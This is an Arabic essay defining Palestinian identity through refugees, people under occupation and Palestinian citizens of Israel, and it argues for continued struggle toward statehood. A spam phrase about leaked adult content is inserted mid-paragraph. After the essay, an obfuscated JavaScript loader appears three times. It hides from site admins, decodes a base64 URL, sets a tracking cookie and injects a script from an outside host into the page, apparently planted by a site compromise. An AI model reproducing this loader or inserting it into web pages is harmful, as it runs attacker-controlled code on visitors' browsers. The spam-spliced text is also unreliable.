الفلسطيني: محاولة في التعريف

0

يواجه الفلسطيني في هذه اللحظة من التاريخ قدراً من الشعور بالعجز، يلقي بظله على سلوكه ووعيه بالمصير.

ذلك أن هناك ركوداً واضحاً في سيرورة قضيته، ولا يقتصر هذا الركود على موقف العالم وموقف العرب فحسب، بل ينسحب على الوضع الفلسطيني أيضاً، لا سيما أن العوامل الثلاثة: الفلسطينية والعربية والعالمية، متشابكة جداً فيما يتعلق بقضية فلسطين. وعلى السياسي والمثقف أن يقدما خطاباً من شأنه أن يعيد للفلسطيني الثقة بإمكان تحقق آماله.

من هو الفلسطيني؟ الفلسطيني، مفهوماً مجرداً، يعني أنه أولاً متعين بوصفه شخصاً ينتمي إلى هوية أرض، وهوية ثقافة، وهوية أمة. وإذا حددت أكثر، فسأقول: الفلسطيني هو النقيض المباشر للصهيوني. وإذا انتقلت إلى أكثر التعيينات دلالة قلت: الفلسطيني هو لاجئ، الفلسطيني هو تحت الاحتلال، الفلسطيني هو حامل جنسية إسرائيلية. وإذا انتقلت إلى ما هو أكثر تحديداً أقول: الفلسطيني مكافح، مقاتل، متظاهر، رامي حجر… إلخ.

تعيينات الفلسطيني على هذا النحو هي تعيينات حقيقية لم أخترعها أنا، إنما هي وصف لواقع الفلسطيني، بمعنى أنني أجرد الصفات الماهوية للفلسطيني الآن بهذه التعيينات.

إذا بدأت من الفضاء العربي أقول: صحيح أن هوية الفلسطيني تتكون بالانتماء إلى الأرض، لكن هويته الحقيقية هي الانتماء إلى الكل، لذلك ليس لديه شعور بالأقلية حتى وهو يحمل الجنسية الإسرائيلية. من الصعب أن ينمو لديه ذلك الشعور. لماذا؟ لأنه ينتمي إلى عالم أرحب، على عكس الغازي الصهيوني بوصفه أقلية استعمارية غريبة. corinna kopf only fans leaked

الفلسطيني الواقع تحت الاحتلال يريد أن ينهي الاحتلال (احتلال الضفة الغربية وقطاع غزة)، وهدفه تحقيق قيام دولة فلسطينية في قطاع غزة والضفة الغربية وعاصمتها القدس. وهو إذ يكافح من أجل ذلك لا يقدم خطاباً سياسياً فقط، إنما يمارس على الأرض فعل التحرير وفعل التحرر، وبأنحاء مختلفة.

أما الفلسطيني حامل الجنسية الإسرائيلية، فهو يريد أن يرغم الإسرائيلي والصهيوني على فكرة المساواة ونزع الطابع العنصري للدولة، وبالتالي يسعى إلى أن يتمتع بالحقوق التي يتمتع بها اليهودي الإسرائيلي.

وهو يكافح من أجل ذلك عبر المجتمع المدني، وعبر تكوين حركته السياسية، وعبر دخوله معارك الانتخابات، وعبر الحفاظ على هويته الوطنية ولغته العربية. وقد حقق بعض النجاحات في ذلك، غير أن عنصرية إسرائيل عنصرية مؤسسة للدولة ومتجذرة في وعي الصهيوني، ولهذا فإن أمامه شوطاً طويلاً من الكفاح. أما الفلسطيني اللاجئ فشعاره هو حق العودة إلى فلسطين، وقد عمل على ذلك عبر سنوات طويلة من ثورة مستمرة بأشكال متعددة، وكان التعبير التنظيمي عنها هو منظمة التحرير الفلسطينية. وهذا الكفاح يحتاج، لكي يستمر، إلى شروط عربية وعالمية مؤيدة لذلك.

يجب أن ننظر إلى الفلسطيني في كفاحه الدائم والطويل على أنه مكافح في حقل حرية تقرير المصير، المصير الوطني والمصير الإنساني. ومما لا شك فيه أن الفلسطيني سيظل في حقل الكفاح المتعدد الذي يقوده في النهاية إلى دولته في عموم فلسطين.

تفاؤلي نابع من أن الكفاح الفلسطيني هو كفاح شعب محيط بفلسطين من الخارج، محيط بفلسطين من الداخل كذلك. أين سيهربون من الفلسطيني؟ الفلسطيني من أمامهم ومن ورائهم، فأين المفر؟ ناهيك عن أن لدى الفلسطيني إحساساً عميقاً بانتمائه إلى الأمة، وهذا أيضاً يعطيه طاقة مضاعفة في الاحتفاظ بأمله الكبير.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

لن يتم نشر عنوان بريدك الالكتروني